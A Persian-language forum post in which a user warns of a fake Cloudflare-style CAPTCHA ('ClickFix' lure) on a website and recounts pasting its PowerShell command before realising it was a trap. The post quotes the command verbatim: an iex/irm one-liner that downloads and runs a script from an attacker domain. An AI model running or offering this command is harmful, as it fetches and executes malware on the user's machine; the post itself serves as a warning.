Mahbod .A
پاسخموضوع اینجاست که وارد سایت alobisim.com شدم ، به خودی خود سایت معتبریه.
به همچین کپچایی خوردم که خیلی ترتمیز و شبیه خود کلاودفلره ، و چیزی که گفته رو انجام دادم و دستور رو توی پاورشل وارد کردم و واقعا هم کپچا با وارد کردنش وریفای شد.
همین که اجرا کردم رفتم دستور رو چک کردم و دیدم بله ....powershell -c "iex(irm vfirreuynlkrm.yougriddonaldsfile.com/s/psc4/pr?cl -UseBasicParsing)"
دستوری که کپی کرده اینه ، و اینطوریه که یک اسکریپت رو از اون آدرس فیک دانلود و اجرا میکنه ، و کل داستان تله بوده.
وسط کار پروسه رو متوقف کردم و تا جایی که الان چک کردم فایل دانلود نشده بوده ، ولی هنوز 100% مطمئن نیستم که سیستمم پاک باشه.
موضوع اصلی تر اینه که این صفحه چطور به این سایت اینجکت شده ، حالا یا از طریق اسکریپت های شخص ثالثه ، یا اکستنشنی چیزی روی سیستم من فعاله یا ... رو دارم چک میکنم فعلا.
ولی بعید میدونم مالک سایت ازش باخبر باشه.
جزئیات بیشترش رو خودم متوجه شدم باهاتون به اشتراک میذارم
183 ·